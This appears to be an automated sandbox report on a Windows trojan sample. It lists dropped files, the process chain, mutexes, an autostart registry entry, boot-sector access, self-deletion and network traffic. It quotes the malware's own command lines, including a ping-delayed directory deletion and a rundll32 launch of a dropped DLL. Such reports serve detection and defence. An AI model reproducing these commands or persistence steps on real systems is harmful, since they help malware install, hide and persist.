Source: unknown	Network traffic detected: HTTP traffic on port 63849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60947
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 51249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57279
Source: unknown	Network traffic detected: HTTP traffic on port 50544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60439
Source: unknown	Network traffic detected: HTTP traffic on port 60255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50549 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61601 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52420
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 61399 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52665
Source: unknown	Network traffic detected: HTTP traffic on port 58772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57162
Source: unknown	Network traffic detected: HTTP traffic on port 52279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53009
Source: unknown	Network traffic detected: HTTP traffic on port 63751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51462
Source: unknown	Network traffic detected: HTTP traffic on port 52511 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52279
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58388
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63849
Source: unknown	Network traffic detected: HTTP traffic on port 50674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50260
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56120
Source: unknown	Network traffic detected: HTTP traffic on port 55345 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 50169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50549
Source: unknown	Network traffic detected: HTTP traffic on port 56120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50384
Source: unknown	Network traffic detected: HTTP traffic on port 58943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55675
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50544
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51630
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58943
Source: unknown	Network traffic detected: HTTP traffic on port 55675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61399
Source: unknown	Network traffic detected: HTTP traffic on port 50384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50314
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51249
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50153
Source: unknown	Network traffic detected: HTTP traffic on port 57162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50674
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55203
Source: unknown	Network traffic detected: HTTP traffic on port 50217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54480
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61601
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59533
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59533 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51931
Source: unknown	Network traffic detected: HTTP traffic on port 51630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51017
Source: unknown	Network traffic detected: HTTP traffic on port 63924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63911
Source: unknown	Network traffic detected: HTTP traffic on port 58388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748

Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:50314 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:50813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:51630 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:55345 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:63751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:50549 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:52511 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:59533 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:61399 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:52279 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:54480 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:57279 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:60439 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:63924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:52665 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:56120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:58943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:60788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:64219 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:53009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:56323 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:58388 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:61601 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:63849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:50458 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:52420 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:55203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.4:58772 version: TLS 1.2

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_1000C160: wsprintfA,DeviceIoControl,

5_2_1000C160

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_100049F0 ExitWindowsEx,

5_2_100049F0

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10005A10	5_2_10005A10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000EB80	5_2_1000EB80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000DB90	5_2_1000DB90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10010400	5_2_10010400
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000F500	5_2_1000F500
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10009640	5_2_10009640
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1000EF70	5_2_1000EF70

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 10011A56 appears 46 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 10001000 appears 292 times

Source: otsIBG7J9b.exe	Binary or memory string: OriginalFilename vs otsIBG7J9b.exe
Source: otsIBG7J9b.exe, 00000000.00000000.1679471285.0000000000400000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWinWord.exeL vs otsIBG7J9b.exe
Source: otsIBG7J9b.exe, 00000000.00000002.1687821051.0000000000407000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWinWord.exeL vs otsIBG7J9b.exe
Source: otsIBG7J9b.exe, 00000000.00000000.1679491267.0000000000415000.00000080.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWinWord.exeL vs otsIBG7J9b.exe
Source: otsIBG7J9b.exe, 00000000.00000003.1682351281.0000000002280000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWinWord.exeL vs otsIBG7J9b.exe
Source: otsIBG7J9b.exe	Binary or memory string: OriginalFilenameWinWord.exeL vs otsIBG7J9b.exe

Source: otsIBG7J9b.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@22/3@52/3

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_1000C230 sprintf,CreateFileA,DeviceIoControl,GetLastError,FormatMessageA,CloseHandle,wsprintfA,

5_2_1000C230

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10004F60 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,	5_2_10004F60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10006090 strrchr,strncpy,strncpy,strncpy,GetSystemInfo,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,sscanf,	5_2_10006090
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10004B90 AdjustTokenPrivileges,	5_2_10004B90

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_10004AA0 CreateToolhelp32Snapshot,

5_2_10004AA0

Source: C:\Users\user\Desktop\otsIBG7J9b.exe

Code function: 0_2_004013D0 FindResourceA,LoadResource,SizeofResource,LockResource,wsprintfA,wsprintfA,CreateDirectoryA,Sleep,wsprintfA,CreateFileA,WriteFile,CloseHandle,GetModuleFileNameA,wsprintfA,CreateProcessA,

0_2_004013D0

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1460:120:WilError_03
Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\krnaver.com:6520
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4408:120:WilError_03
Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\0x5d65r455f
Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\Mkrnaver.com:6520
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2872:120:WilError_03

Source: C:\Users\user\Desktop\otsIBG7J9b.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\ufcpp.exe

Process created: C:\Windows\SysWOW64\rundll32.exe c:\windows\system32\rundll32.exe "c:\agtve\yhnvs.dll",init c:\ufcpp.exe

Source: otsIBG7J9b.exe

ReversingLabs: Detection: 86%

Source: C:\Users\user\Desktop\otsIBG7J9b.exe

File read: C:\Users\user\Desktop\otsIBG7J9b.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\otsIBG7J9b.exe "C:\Users\user\Desktop\otsIBG7J9b.exe"
Source: C:\Users\user\Desktop\otsIBG7J9b.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 2&c:\ufcpp.exe "C:\Users\user\Desktop\otsIBG7J9b.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ufcpp.exe c:\ufcpp.exe "C:\Users\user\Desktop\otsIBG7J9b.exe"
Source: C:\ufcpp.exe	Process created: C:\Windows\SysWOW64\rundll32.exe c:\windows\system32\rundll32.exe "c:\agtve\yhnvs.dll",init c:\ufcpp.exe
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\windows\SysWOW64\rundll32.exe" "c:\agtve\yhnvs.dll",init
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\agtve"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\windows\SysWOW64\rundll32.exe" "c:\agtve\yhnvs.dll",init
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\agtve"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Users\user\Desktop\otsIBG7J9b.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 2&c:\ufcpp.exe "C:\Users\user\Desktop\otsIBG7J9b.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ufcpp.exe c:\ufcpp.exe "C:\Users\user\Desktop\otsIBG7J9b.exe"	Jump to behavior
Source: C:\ufcpp.exe	Process created: C:\Windows\SysWOW64\rundll32.exe c:\windows\system32\rundll32.exe "c:\agtve\yhnvs.dll",init c:\ufcpp.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\agtve"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\agtve"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Source: C:\Users\user\Desktop\otsIBG7J9b.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\otsIBG7J9b.exe	Section loaded: mfc42.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ufcpp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ufcpp.exe	Section loaded: mfc42.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 5_2_100051B0 LoadLibraryA,GetProcAddress,GetExtendedUdpTable,malloc,GetExtendedUdpTable,Sleep,htons,free,FreeLibrary,

5_2_100051B0

Source: initial sample

Static PE information: section where entry point is pointing to: nsp0

Source: otsIBG7J9b.exe	Static PE information: real checksum: 0x1ddae should be: 0x209af
Source: ufcpp.exe.0.dr	Static PE information: real checksum: 0x1ddae should be: 0x1dfbc

Source: otsIBG7J9b.exe	Static PE information: section name: nsp0
Source: otsIBG7J9b.exe	Static PE information: section name: nsp1
Source: ufcpp.exe.0.dr	Static PE information: section name: nsp0
Source: ufcpp.exe.0.dr	Static PE information: section name: nsp1
Source: yhnvs.dll.4.dr	Static PE information: section name: nsp0
Source: yhnvs.dll.4.dr	Static PE information: section name: nsp1

Source: C:\Users\user\Desktop\otsIBG7J9b.exe	Code function: 0_2_004043B0 push eax; ret	0_2_004043DE
Source: C:\ufcpp.exe	Code function: 4_2_004043B0 push eax; ret	4_2_004043DE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10010F90 push eax; ret	5_2_10010FBE

Source: otsIBG7J9b.exe	Static PE information: section name: nsp1 entropy: 7.905412884484882
Source: ufcpp.exe.0.dr	Static PE information: section name: nsp1 entropy: 7.905412884484882
Source: yhnvs.dll.4.dr	Static PE information: section name: nsp1 entropy: 7.935625569193875

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: sprintf,CreateFileA,DeviceIoControl,GetLastError,FormatMessageA,CloseHandle,wsprintfA, \\.\PHYSICALDRIVE%d

5_2_1000C230

Source: C:\Users\user\Desktop\otsIBG7J9b.exe	File created: C:\ufcpp.exe			Jump to dropped file
Source: C:\ufcpp.exe	File created: C:\agtve\yhnvs.dll			Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe

File created: c:\agtve\ReadMe.txt

Jump to behavior

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: sprintf,CreateFileA,DeviceIoControl,GetLastError,FormatMessageA,CloseHandle,wsprintfA, \\.\PHYSICALDRIVE%d

5_2_1000C230

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\Windows\SysWOW64\rundll32.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run EvtMgr

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run EvtMgr			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run EvtMgr			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\ufcpp.exe

File deleted: c:\users\user\desktop\otsibg7j9b.exe

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50192 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50270 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50295 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50321 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50324 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50356 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50359 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50389 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50392 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50423 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50429 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50467 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50502 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50557 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50563 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50618 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50687 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50692 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50753 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50835 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50837 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50912 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50919 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51045 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51050 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51141 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51148 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51278 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51284 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51378 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51386 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51468 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51478 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51568 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51577 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51658 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51666 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51739 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51741 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52288 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52374 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53686 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53818 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55654 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55673 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56252 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56358 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57170 -> 12354
